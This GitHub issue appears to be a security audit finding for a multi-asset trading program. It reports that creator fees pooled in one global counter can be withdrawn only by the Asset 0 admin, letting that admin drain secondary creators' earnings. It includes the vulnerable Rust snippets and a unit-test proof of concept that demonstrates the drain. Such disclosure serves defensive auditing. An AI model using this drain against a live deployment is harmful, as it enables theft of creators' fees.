Skip to content

Base asset admin usurps all trading creator fees on secondary assets in multi-asset markets #420

Description

@v1ktorrr0x

Base asset admin usurps all trading creator fees on secondary assets in multi-asset markets

Impact

Theft of unclaimed yield or earned fees.

In multi-asset markets, all trade creator fees accumulate into a single global counter, but fee withdrawals check only the Asset 0 admin. Secondary asset creators cannot claim their earned revenue, while the base market deployer can drain all accumulated fees from every asset.

Description

The wrapper tracks trade creator fees in a single global accumulator inside WrapperConfigV16:

cfg.creator_fee_claimable_atoms = cfg.creator_fee_claimable_atoms.checked_add(u64::try_from(creator_cut_total)?)?;

Trading fees generated on any asset slot (e.g. Asset 1) flow into this shared counter. When withdrawing fees via WithdrawCreatorFee, handle_withdraw_creator_fee hardcodes an authorization check against Asset 0 only:

let profile = read_oracle_profile_for_asset(&market_data, &cfg, 0)?;
if profile.asset_admin != [0u8; 32] && admin.key.to_bytes() != profile.asset_admin {
    return Err(PercolatorError::Unauthorized.into());
}

The signer is checked exclusively against profile(0).asset_admin. Secondary creators attempting to withdraw their fees are rejected with Unauthorized. The Asset 0 deployer can invoke WithdrawCreatorFee to sweep the entire global accumulator, stealing 100% of trading fees generated by secondary markets.

Not the same as per-asset authority updates

  • UpdateAssetLifecycle correctly provisions per-asset administrators.
  • The flaw is the single global fee pool paired with a hardcoded Asset 0 gate on withdrawal.

On permissionless multi-asset deployment

  • Multi-asset markets explicitly permit independent asset listings via UpdateAssetLifecycle(ASSET_ACTION_ACTIVATE).
  • The fee architecture fails to isolate creator earnings per asset.

Proof of Concept

Target file:

  • src/v16_program.rs: handle_withdraw_creator_fee

Run command:
cargo test --test audit_poc_suite test_poc_vuln_03_multi_asset_creator_fee_usurpation -- --nocapture

#[test]
fn test_poc_vuln_03_multi_asset_creator_fee_usurpation() {
    install_clock_stub();

    let mut admin_0 = TestAccount::new(Pubkey::new_unique(), Pubkey::new_unique(), 0).signer().writable();
    let mut creator_2 = TestAccount::new(Pubkey::new_unique(), Pubkey::new_unique(), 0).signer().writable();

    let mut market = TestAccount::new(
        Pubkey::new_unique(),
        program_id(),
        state::market_account_len_for_capacity(2).unwrap(),
    ).writable();
    let mut mint = TestAccount::new_with_data(Pubkey::new_unique(), spl_token::ID, make_mint_data(1_000_000));
    let mint_key = mint.key;

    // Initialize market with 2 asset slots
    run_ix(
        Instruction::InitMarket {
            max_portfolio_assets: 2,
            h_min: 0,
            h_max: 10,
            initial_price: 100,
            min_nonzero_mm_req: 1,
            min_nonzero_im_req: 2,
            maintenance_margin_bps: 10_000,
            initial_margin_bps: 10_000,
            max_trading_fee_bps: 10_000,
            trade_fee_base_bps: 0,
            liquidation_fee_bps: 0,
            liquidation_fee_cap: 0,
            min_liquidation_abs: 0,
            max_price_move_bps_per_slot: 10_000,
            max_accrual_dt_slots: 1,
            max_abs_funding_e9_per_slot: 0,
            min_funding_lifetime_slots: 1,
            max_account_b_settlement_chunks: 1,
            max_bankrupt_close_chunks: 1,
            max_bankrupt_close_lifetime_slots: 100,
            public_b_chunk_atoms: percolator::MAX_VAULT_TVL,
            maintenance_fee_per_slot: 0,
        },
        &mut [&mut admin_0.clone(), &mut market, &mut mint],
    ).unwrap();

    let (v_auth, _) = vault_authority(&market);
    let vault_ata = canonical_vault_ata(&v_auth, &mint_key);

    // Setup: Asset 0 has admin_0, Asset 1 has creator_2.
    // Trading on Asset 1 accumulated 50,000 atoms into cfg.creator_fee_claimable_atoms.
    {
        let mut market_data = market.data.clone();
        let (mut cfg, group) = state::market_view_mut(&mut market_data).unwrap();
        cfg.creator_fee_claimable_atoms = 50_000;
        cfg.collateral_mint = mint_key.to_bytes();
        group.header.insurance = percolator::V16PodU128::new(100_000);
        group.header.vault = percolator::V16PodU128::new(100_000);

        state::write_wrapper_config(&mut market_data, &cfg).unwrap();
        market.data = market_data;

        let mut prof0 = state::read_asset_oracle_profile(&market.data, 0).unwrap();
        prof0.asset_admin = admin_0.key.to_bytes();
        state::write_asset_oracle_profile(&mut market.data, 0, &prof0).unwrap();

        let mut prof1 = state::read_asset_oracle_profile(&market.data, 1).unwrap();
        prof1.asset_admin = creator_2.key.to_bytes();
        state::write_asset_oracle_profile(&mut market.data, 1, &prof1).unwrap();
    }

    let mut vault_token_acc = TestAccount::new_with_data(vault_ata, spl_token::ID, make_token_data(mint_key, v_auth, 100_000)).writable();
    let mut vault_auth_acc = TestAccount::new(v_auth, Pubkey::new_unique(), 0);
    let mut creator2_dest = TestAccount::new_with_data(Pubkey::new_unique(), spl_token::ID, make_token_data(mint_key, creator_2.key, 0)).writable();
    let mut admin0_dest = TestAccount::new_with_data(Pubkey::new_unique(), spl_token::ID, make_token_data(mint_key, admin_0.key, 0)).writable();
    let mut token_prog = TestAccount::new(spl_token::ID, Pubkey::new_unique(), 0).executable();

    // ── STEP 1: Creator 2 attempts to withdraw their earned fees ───────────────
    let res_creator2 = run_ix(
        Instruction::WithdrawCreatorFee { amount: 50_000 },
        &mut [
            &mut creator_2,
            &mut market,
            &mut creator2_dest,
            &mut vault_token_acc,
            &mut vault_auth_acc,
            &mut token_prog,
        ],
    );
    assert_eq!(
        res_creator2,
        Err(ProgramError::Custom(PercolatorError::Unauthorized as u32)),
        "Creator 2 must be rejected with Unauthorized (Custom(8)) because handle_withdraw_creator_fee hardcodes Asset 0"
    );

    // ── STEP 2: Asset 0 Admin executes the withdrawal ──────────────────────────
    let res_admin0 = run_ix(
        Instruction::WithdrawCreatorFee { amount: 50_000 },
        &mut [
            &mut admin_0,
            &mut market,
            &mut admin0_dest,
            &mut vault_token_acc,
            &mut vault_auth_acc,
            &mut token_prog,
        ],
    );
    assert!(res_admin0.is_ok(), "Asset 0 Admin successfully captures all creator fees from secondary assets");

    let cfg_final = state::read_market(&market.data).unwrap().0;
    assert_eq!(cfg_final.creator_fee_claimable_atoms, 0, "Creator fee counter drained to 0 by Asset 0 Admin");
}

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions